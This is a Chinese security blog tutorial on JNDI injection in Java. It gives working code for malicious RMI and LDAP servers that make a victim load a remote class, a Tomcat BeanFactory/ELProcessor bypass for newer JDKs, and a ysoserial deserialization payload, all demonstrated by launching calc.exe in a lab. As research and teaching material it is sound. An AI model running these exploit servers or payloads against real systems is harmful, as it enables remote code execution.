0x00 RMI的Demo

关于什么远程方法的调用，什么RMI的协议，哎，只要会用就行了，而且好多大佬前面写过各种JRMP，RMI之类的文章，重点我这里想看看这个lookup函数到底是怎么去加载这个远程类和本地类的。

上Demo，本地JDK环境为1.8.0_201：

远程调用的恶意类：

import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Calc implements ObjectFactory {
	{
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"clac.exe"};
            Process pc = rt.exec(commands);
			System.out.println("123");
            pc.waitFor();
        } catch (Exception e) {
        }
    }
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc.exe"};
            Process pc = rt.exec(commands);
			System.out.println("123");
            pc.waitFor();
        } catch (Exception e) {
        }
    }
    public Calc() {
        try {
			System.out.println("123");
            Runtime rt = Runtime.getRuntime();
            Process pc = rt.exec("calc.exe");
            pc.waitFor();
        } catch (Exception e) {
        }
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        try {
			System.out.println("123");
            Runtime rt = Runtime.getRuntime();
            Process pc = rt.exec("calc.exe");
            pc.waitFor();
        } catch (Exception e) {
        }
        return null;
    }
}

rmi服务端实现类：

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class listener {
    public static void main(String[] args) throws AlreadyBoundException {
        try {
			System.setProperty("java.rmi.server.hostname","192.168.154.131");
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference aa = new Reference("Calc","Calc","http://192.168.154.131:8081/"); 
            ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
            registry.bind("hello",refObjWrapper);
        } catch (RemoteException | NamingException e) {
            e.printStackTrace();
        }
    }
}

rmi客户端（受害服务端）调用的实现类：

import javax.naming.Context;
import javax.naming.InitialContext;
public class demo{
    public static void main(String[] args) {
        try {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
            String uri = "rmi://192.168.154.131:1099/hello";
            Context ctx = new InitialContext();
            ctx.lookup(uri);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

加载效果：

恶意服务器启动HTTP服务

注意启动的目录为恶意类所在的目录

恶意服务器（rmi服务端）启动监听

rmi客户端请求恶意类加载

恶意类加载完成

0x01 恶意类加载的原因

blackHat的议题上说问题出在了NamingManager类的getObjectFactoryFromReference方法上

那就试试看，到底能不能找到这个方法，跟进lookup方法的源码：

看InitialContext类的getURLOrDefaultInitCtx方法中的NamingManager.getURLContext的源码

name传入到了lookup方法中，接着跟进getURLOrDefaultInitCtx

跟进NamingManager的getURLContext方法：

跟进getURLObject方法：

跟进getObjectInstance方法

Nice，终于在不满足各个条件不满足的情况下找到了getObjectFactoryFromReference

在这里，完成了远程恶意类的加载。

0x02 LDAP攻击类型的Demo

public class Ldap {
    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main(String[] args) {
    String[] args = new String[]{"http://127.0.0.1:8081/#Calc", "9999"};
        int port = 0;
        if (args.length < 1 || args[0].indexOf('#') < 0) {
            System.err.println(Ldap.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
            System.exit(-1);
        } else if (args.length > 1) {
            port = Integer.parseInt(args[1]);
        }
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", 
                    InetAddress.getByName("0.0.0.0"),                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);            ds.startListening();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }
        }
        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");                e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

受害服务器（rmi客户端）的实现类：

public class demo{
    public static void main(String[] args) {
        try {
            System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
            String uri = "ldap://192.168.154.129:9999/calc";
            Context ctx = new InitialContext();
            ctx.lookup(uri);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

启动LDAP服务端与恶意类服务器

启动JNDI客户端

恶意类加载成功

为什么LDAP可以实现远程类加载的效果，因为LDAP可以描述一个对象。

0x03 使用本地类进行攻击的Demo

Java高版本对Java远程类加载进行了限制，具体的版本为：

既然无法加载外部类，但是还有内部类可以利用，比如org.apache.naming.factory.BeanFactory，为什么使用这个类：

跟进一下InitialContext类->lookup方法->NamingManager类getURLOrDefaultInitCtx方法->NamingManager类getURLContext方法-> NamingManager类getURLObject方法，发现这个方法中先得到一个ObjectFactory的对象，并且这个对象有getObjctInstance方法

那就需要找到本地的一个继承自ObjectFactory的类，并且它含有getObjectInstance方法。

看下org.apache.naming.factory.BeanFactory类的作用，它是创建beans时所使用的。

可以看到所使用的类，必须具有无参的构造函数，和只具有一个String参数的方法。

而且第三张图片中假定说传入forceString的值为x=eval，诶，这就有意思了，得到这个字符串中“=”的位置，然后把这个方法名给个拿到，Nice

最终对forced这个HashMap将propName与paramTypes值put

然后去getMethod propName，接着进行反射，相当于执行

这是伪代码：

Class cls = Class.forName(“javax.el.ELProcessor”);

Object ob = cls.getConstructor().newInstance();

eval.invoke(ob,”el表达式需要执行的内容”);

接着进行反射。

那么之前使用这个机制的大佬就找到了javax.el.Process，而且里面正好存在执行el表达式的eval方法。那怎说呢，看下大佬们的恶意rmi是怎么构造的，JDK高版本虽然不让远程加载类，但并没有说不能远程提供类信息，而且还是使用的内部类，这个时候，提供类名，方法名，传入方法的参数值，就可以进行本地方法调用了。

恶意的RMI构造如下：

import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
 
public class EvilRMIServerNew {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc.exe']).start()\")"));
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

在这里我遇到一个问题：没有考虑到类之间的继承关系，导致我每次搞这个东西，都是败兴而归，大力出奇迹，当我把Tomcat8.5的所有类包导入到类环境当中的时候，搞定了，之前没有类包一直报错。

参照大佬的博客：

https://www.pianshen.com/article/87941420471/

有时候无法利用内部类，还可以返回一段序列化字段，这段序列化字段可以被rmi客户端进行序列化。

0x04 LDAP返回序列化字段进行JNDI高版本绕过

这里假设目标存在一个反序列化的漏洞库，比如CC链，然后使用工具生成一段BASE64编码的序列化数据，当程序进行反序列化之后，触发CC链。

这里参考大佬的一个LDAP服务器：

https://blog.csdn.net/weixin_44063566/article/details/88897261

先使用ysoserial.jar生成CC链的poc，java -jar ysoserial.jar CommonsCollections5 calc.exe > poc.txt

然后使用Java程序将其转化为base64编码，因为base64不乱码，直接生成的poc文件时乱码的。

替换到LDAP服务器中的序列化代码

然后客户端访问LDAP服务器：

触发：

参考链接：

https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/blob/master/HackerServer/src/main/java/HackerLDAPRefServer.java

https://www.veracode.com/blog/research/exploiting-jndi-injections-java

http://blog.topsec.com.cn/java-jndi%E6%B3%A8%E5%85%A5%E7%9F%A5%E8%AF%86%E8%AF%A6%E8%A7%A3/

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html